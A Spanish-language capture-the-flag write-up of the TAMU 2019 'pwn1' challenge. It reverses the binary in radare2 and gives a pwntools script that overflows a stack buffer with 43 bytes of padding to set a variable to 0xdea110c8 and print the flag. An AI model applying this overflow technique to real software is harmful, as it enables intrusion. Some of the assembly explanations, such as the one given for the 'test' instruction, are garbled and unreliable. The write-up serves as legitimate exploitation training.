TAMU 2019 - pwn1

Table of contents

  1. Analisis
  2. Exploit

Tenemos un BoF stack based donde lo usaremos para sobrescribir el valor de una variable

El binario lo pueden descargar con:

wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tamu19_pwn1/pwn1

Analisis

El binario cuenta con las siguientes protecciones:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   77 Symbols	  No	0		2		pwn1

No tienec Canary asi que podemos intentar un buffer overflow, sin embargo tiene NX, asi que no podemos ejecutar una shellcode.

Aqui intente ejecutar el binario pasandole lo que sea y luego tratando de ocasionar un buffer overflow:

Pero de ninguna forma funciono, asi que vamos a ver que esta pasando, para el reversing usare radare2

Y miren, aqui tenemos la funcion que recibe nuestro input:

Lo mas descatable son las instrucciones:

  • lea eax, [ebx - 0x159f]: Que lo que esta haciendo es cargar la direccion de memoria que esta contenida en ebx-0x159f, esto significa que se está leyendo la dirección de memoria contenida en la ubicación de memoria apuntada por ebx-0x159f y luego cargando esa dirección en el registro eax. y lo que tiene esa direccion de memoria es nuestro input

  • push eax: Luego nuestro input lo mete al stack

  • lea eax, [ s1]: Esto hace lo mismo que lea eax, [ebx - 0x159f] pero ahora hay que tomar en cuenta que lo esta haciendo con lo que tiene la variable s1, esta se esta declarando como var char *s1 @ ebp-0x3b y esta 56 bytes por debajo del EBP

Despues tenemos una comparacion que es:

Lo que hace primero con add es sumarle 16 bytes al ESP, esto con el fin para ajustar la posicion del ESP en el stack. Despues con testse hace una operacion AND bit a bit entre lo que le metimos como input y lo que tiene s1, y esto sirve ya que despues tenemos la intruccion je que significa salta si es igual, asi que si el input y si son iguales, la flag ZF se establece en 1 y salta a la direccion 0x5655582f y si no, la ZF se establace en 0 y en este caso lo que pasa es que el programa se detiene como se puede ver aqui en esta imaguen que pinte jiji:

Si son iguales el programa sigue con la ejecucion desde la funcion 0x5655582f (color amarillo), y si no simplemente hace un exit y se detiene (color rojo).

Despues en el programa tenemos otro input, pero es exactamente lo mismo que el que acabe de explicar, solo que la pregunta seria… ¿Cual es el valor de s1 con el que nuestro input se esta comparando?, y lo que se me ocurrio a mi fue: si la variable s1 se esta declarando como una variable global, entonces en la seccion .rodata de el binario debe de estar, esto es por que en .rodata se encuentran las variables inicializadas globalmente pero de solo lectura, entonces mostre la seccion .rodata con el comando iz:

Y wow, ahora sabemos que nuestros inputs se estan comparando con Sir Lancelot of Camelot y To seek the Holy Grail, y wow, esto es completamente inutil ya que no nos sirve para nada jaja, lo que en realidad nos sirve es lo que sigue y es donde dice:

What... is my secret?

Y aqui es otro input y su codigo en emsamblador es:

Esto es un mas facil de analizar, simplemente compara lo que se almacena envar_10h con el valor 0xdea110c8 y si son iguales manda a llama a la funcion sym.print_flag, que basicamente es la que imprime la flag.

Y para explotarlo, tenemos que hacer es sobreescribir el contenido de var_10 usando gets, pero no es tan obvio como parece, tenemos que tomar en cuenta en donde se ubican dos variables: var_10 y s, esto con el fin de saber el desplazamiento entre esas dos y saber cuantos bytes hay que meter.

Para saber donde esta var_10 vemos la declaracion de la variable:

var uint32_t var_10h @ ebp-0x10

Esta esta 0x10 por debajo del EBP, es decir, 16 bytes.

Y para s1:

var char *s1 @ ebp-0x3b

Esta a 0x3b, es decir, 59 bytes

Entonces tenemos un desplazamiento de 59 - 16 = 43, asi que debemos de escribir 43 bytes antes de sobreescribir la variable

Exploit

from pwn import *

target = process('./pwn1')

payload = b"A"*43 #Esto es el padding
payload += p32(0xdea110c8) #el valor por la cual la vamos a sobreescribir

target.sendline("Sir Lancelot of Camelot")
target.sendline("To seek the Holy Grail.")

target.sendline(payload)
target.interactive()

Y listo

python3 exploit.py

[+] Starting local process './pwn1': pid 26329
/home/c4rta/Downloads/exploit.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  target.sendline("Sir Lancelot of Camelot")
/home/c4rta/Downloads/exploit.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  target.sendline("To seek the Holy Grail.")
[*] Switching to interactive mode
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
flag{g0ttem_b0yz} --> la flag

Eso ha sido todo, gracias por leer ❤